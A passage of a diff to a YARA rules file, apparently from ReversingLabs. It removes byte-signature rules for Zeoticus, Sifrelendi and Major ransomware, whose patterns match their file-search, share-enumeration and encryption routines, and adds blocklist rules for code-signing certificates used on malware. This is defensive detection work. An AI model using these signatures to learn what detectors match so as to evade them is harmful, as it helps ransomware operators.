4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 80 7C 1E - ?? ?? 75 ?? 80 3C 1E ?? 74 ?? 81 FB ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 33 C0 5A 59 59 64 - 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $encrypt_files_p1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? - ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B D9 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? - ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 - 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? - 8B D0 4A 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 - ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80 - FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 - 8B 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF - } - $encrypt_files_p2 = { - 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? - ?? 8B C6 83 C8 ?? 3B C6 75 ?? 80 FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B - 45 ?? 50 8B 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? EB ?? FF - 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B - 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $main_routine = { - 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 - ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? E8 ?? - ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 8D 55 ?? 66 - B8 ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B1 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? - A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B - 0D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 8B 08 FF 51 ?? 8D 55 ?? - 33 C0 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 8B 08 FF - 51 - } - condition: - uint16( 0 ) == 0x5A4D and ( $main_routine ) and ( all of ( $find_files_* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "71:9c:17:a8:23:83:9d:ca:81:3e:e8:58:88:b3:b3:9a" and 1479686400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Zeoticus : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6Dc86Ebf5863568E2237B2D89582D705 : INFO FILE { meta: - description = "Yara rule that detects Zeoticus ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "483b20a4-2c16-5509-a503-2462a53d4d31" - date = "2021-03-19" - modified = "2021-03-19" + id = "24741dc7-6252-5964-a69f-bef4b2dfe1a7" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Zeoticus.yara#L1-L90" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16026-L16042" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "adf42b96139ad98f4253f3eba2c4af1be9545825605e0851185cc15284d9e9a0" + logic_hash = "f24cdf890bd0b51a83ca333c37bc22068ab1f7e7ef36b36d94a133773097bd37" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Zeoticus" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $enum_shares_p1 = { - 53 55 8B 2D ?? ?? ?? ?? 8B C1 56 57 8B 3D ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 4C 24 ?? 51 - 8D 4C 24 ?? 51 6A ?? 8D 4C 24 ?? 51 6A ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 85 C0 74 - ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 5C 24 ?? 89 5C 24 ?? C7 44 24 - ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 33 F6 39 73 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF - 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? - 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 - 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? FF 33 8D 44 24 - ?? FF 74 24 ?? 68 ?? ?? ?? ?? 50 FF D7 A1 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 89 04 8D ?? ?? ?? ?? 8D 4C 24 ?? 51 - } - $enum_shares_p2 = { - 50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D 04 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 56 FF 34 - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 56 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ?? - ?? ?? ?? 41 FF 05 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 FF 85 C0 7E ?? 8D - 5F ?? 8D 44 24 ?? 50 FF 34 BD ?? ?? ?? ?? FF D5 85 C0 0F 44 F3 47 3B 3D ?? ?? ?? ?? - 7C ?? 8B 5C 24 ?? 85 F6 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? - ?? ?? 8B 3D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 50 FF D7 - A1 ?? ?? ?? ?? 83 C4 ?? 8D 04 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 6A ?? FF 34 85 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ?? ?? - ?? ?? 41 FF 05 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 74 24 ?? 83 - C3 ?? 46 89 5C 24 ?? 89 74 24 ?? 3B 74 24 ?? 0F 82 ?? ?? ?? ?? 8B 5C 24 ?? 53 FF 15 - ?? ?? ?? ?? 81 7C 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 - ?? ?? ?? ?? C3 - } - $encrypt_files = { - 68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ?? - ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ?? - 83 C4 ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D7 83 - C4 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D - 04 45 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? - FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 83 FB ?? 75 ?? E8 ?? ?? ?? ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? EB ?? 83 FB ?? 75 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? - 56 6A ?? FF 35 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 E8 ?? - ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? - ?? 83 C4 ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 - } - $find_files = { - 81 EC ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 8D 51 ?? 66 8B 01 - 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 66 83 7C 24 ?? ?? 56 8D 71 ?? 0F 85 ?? ?? ?? ?? - 55 8B 2D ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 66 90 66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? - 66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 66 83 7C 74 - ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 66 89 44 74 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 - 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 66 89 4C 74 ?? 85 C0 74 ?? 33 F6 90 - FF 34 B5 ?? ?? ?? ?? FF D7 83 F8 ?? 74 ?? 46 83 FE ?? 72 ?? 8D 44 24 ?? 50 FF 34 B5 - ?? ?? ?? ?? FF D5 68 ?? ?? ?? ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D - 4C 24 ?? 8D 51 ?? 66 90 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 66 83 7C 24 ?? - ?? 8D 71 ?? 0F 84 ?? ?? ?? ?? 5F 5D 53 FF 15 ?? ?? ?? ?? 5E 5B 81 C4 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( all of ( $enum_shares_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dening Hu" and pe.signatures [ i ] . serial == "6d:c8:6e:bf:58:63:56:8e:22:37:b2:d8:95:82:d7:05" and 1471305600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Sifrelendi : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_214Df59Fe53874Cc011Dd45727035F51 : INFO FILE { meta: - description = "Yara rule that detects Sifrelendi ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b9083b7c-eb09-52da-a240-39b51df892f9" - date = "2020-06-26" - modified = "2020-07-15" + id = "9265bb94-b183-523f-91bf-9bc76ab63d6b" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sifrelendi.yara#L1-L67" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16044-L16060" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "430d3877c10c86fcb19b5624dd8886d61e54ccd0453678329309b49712c6d5c6" + logic_hash = "96269f41f82621aee029f343acfce70c781bf7713588dfe78fac35a3d1d3f7cd" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Sifrelendi" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_files = { - E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 85 ?? ?? ?? - ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? - ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 - 89 20 F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 - ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? - ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 EB - ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D - C3 - } - $encrypt_files = { - 55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? - ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 - FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C9 B2 ?? A1 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B F8 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B C7 E8 ?? ?? ?? ?? 33 C9 B2 - ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? - ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8B 45 - ?? 8B 10 FF 12 50 8B CB 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? 6A ?? 6A - ?? 8B C3 E8 ?? ?? ?? ?? 8B C3 8B 10 FF 12 50 8B 4D ?? 8B D3 8B C7 E8 ?? ?? ?? ?? 8B - C7 8B 10 FF 52 ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? - E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 8D 45 - ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $search_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "21:4d:f5:9f:e5:38:74:cc:01:1d:d4:57:27:03:5f:51" and 1468800000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Major : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_37Ca4F66Fdcc8732992723199859886C : INFO FILE { meta: - description = "Yara rule that detects Major ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0c85aff8-1fb5-5e47-ae49-72445a000eaa" - date = "2021-01-26" - modified = "2021-01-26" + id = "9dd87769-73d0-5299-b6ed-936703abc78e" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Major.yara#L1-L261" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16062-L16078" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "16fb7763e3806fca6937fef7e8b3d8bccd61cb39549061d359d630c7d266c270" + logic_hash = "190dffc36c17c27c43337d7914683b7bab3ff18a50de5278ed2a66f04b9e395d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Major" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 33 C0 89 4D ?? 57 50 66 89 45 ?? 8D 8D ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 57 C0 C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 - ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 - 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? - ?? ?? 33 C9 8B F8 51 89 4D ?? 51 8D 4D ?? 89 7D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ?? - 8D 45 ?? 50 FF 77 ?? 57 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 47 ?? 89 4D ?? BB ?? ?? ?? - ?? 8B 48 ?? 89 01 8B 07 8D 4D ?? 83 C0 ?? 3B C8 74 ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 8D 45 ?? 3B C6 - } - $find_files_p2 = { - 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? - ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? - ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? - ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 7E ?? - ?? 73 ?? 8B 46 ?? 83 C0 ?? 74 ?? 03 C0 50 8D 45 ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB - ?? 8B 06 89 45 ?? C7 06 ?? ?? ?? ?? 8B 46 ?? 89 45 ?? 8B 46 ?? 89 45 ?? C7 46 ?? ?? - ?? ?? ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 36 33 C0 66 89 06 8B 45 ?? 83 F8 - ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 - C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? - ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 3F 8D 77 ?? 8B - 4F ?? 8B 07 89 01 8B 0F 8B 47 ?? 89 41 ?? 8B 45 ?? 48 89 45 ?? 89 45 ?? 8B 46 ?? 83 - F8 ?? 72 ?? 8B 0E 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 - } - $find_files_p3 = { - C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? - ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? - ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 36 33 C0 57 66 89 06 E8 ?? ?? ?? ?? 83 - C4 ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B - F8 